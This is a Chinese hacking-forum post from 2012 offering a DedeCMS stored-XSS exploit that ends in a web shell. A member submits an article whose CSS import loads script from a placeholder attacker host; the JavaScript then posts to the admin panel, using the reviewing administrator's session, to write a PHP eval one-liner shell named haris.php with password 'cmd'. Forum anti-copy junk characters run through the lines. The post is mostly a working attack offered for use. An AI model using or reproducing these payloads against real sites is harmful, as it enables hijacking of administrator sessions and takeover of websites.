找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1632|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell! ~3 K; V/ X; T. M  d6 m* z( H
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)7 Z- y' ?) R$ J* G7 {1 `: ^
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。* V  Q0 q4 Q% I5 I  x6 Y. v
下面说说利用方法。# f; w5 K' D' |: I7 z0 L. c
条件有2个:, [0 X/ k- v6 I% H
1.开启注册
; @; `! [6 {( \4 B1 [! @. L2.开启投稿% N; c2 X/ c: F4 I/ i
注册会员----发表文章+ g0 W3 z  Z$ i2 J9 J* F! R
内容填写:
5 r: f+ q9 ~6 }3 q0 b8 ?复制代码. r+ V# G! n! e: L* {) I0 T- N. P
<style>@im\port'\http://xxx.com/xss.css';</style>- U& s* \/ U# R# _
新建XSS.Css
+ ^' r/ r2 v5 l( N复制代码3 @& Q% q& Q, a7 \2 K- |
.body{
; s, `2 t; s* Z" ]) G/ r; Mbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
+ l! ~$ {2 O6 J7 U1 f* f新建xss.js 内容为
, C1 A1 u* v7 M复制代码% `- [- r5 c2 S2 U* J6 m
1.var request = false;
) x( q/ t/ T# \3 ]* O. ?& `2.if(window.XMLHttpRequest) {; \8 C& n" u# X" }4 D
3.request = new XMLHttpRequest();
8 b; k" m% w* ^8 a4.if(request.overrideMimeType) {: F+ h* }9 M: E3 n0 Q  M, B
5.request.overrideMimeType('text/xml');
1 |- t5 s# p6 N1 l  |2 Z6.}
6 q- n) u. [; `% E% o  b7.} else if(window.ActiveXObject) {+ x5 K. Z$ g9 @+ N" K1 l! n" w
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ g9 H1 t$ N7 l1 x, q6 b' ^9.for(var i=0; i<versions.length; i++) {; T0 _6 O. E  Y+ ]$ Q
10.try {
" ^8 L) w, R  \+ O11.request = new ActiveXObject(versions);  d/ m! b! A' t; m% {( k
12.} catch(e) {}& |- {. L8 h- Y; w+ l1 c
13.}
. x, X9 h3 U- C: }14.}
% d7 e) x5 L# }& s  Q15.xmlhttp=request;- u2 b- C; y4 N7 r9 [/ W
16.function getFolder( url ){( D7 L' h& f$ Y, L7 {
17. obj = url.split('/')
+ n( {1 b8 b) I18. return obj[obj.length-2]
  g" G2 Q. b% y) D" u5 p19.}
5 s+ n" s& g, D" i' G9 n4 A20.oUrl = top.location.href;
! }( `, C2 t; @& M, w5 g21.u = getFolder(oUrl);! \4 }! i+ S$ \; b  B. U8 X
22.add_admin();
9 q% d1 z; [7 y9 b/ m  |! d23.function add_admin(){$ g2 |  ~% C6 h/ O
24.var url= "/"+u+"/sys_sql_query.php";, T3 h/ B* P( N( H+ _5 H7 Z
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
+ n8 F- c9 x% b  q9 @) c; r6 \- b26.xmlhttp.open("POST", url, true);, I: U0 l& X/ G
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");5 L" l8 @& i5 [
28.xmlhttp.setRequestHeader("Content-length", params.length);
( O% L$ F8 t" u8 S29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");, j4 |  q/ Z8 a0 O1 `" @( D
30.xmlhttp.send(params);
6 {8 p1 J# S; E5 M31.}, q9 `* ?# L  U$ l
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表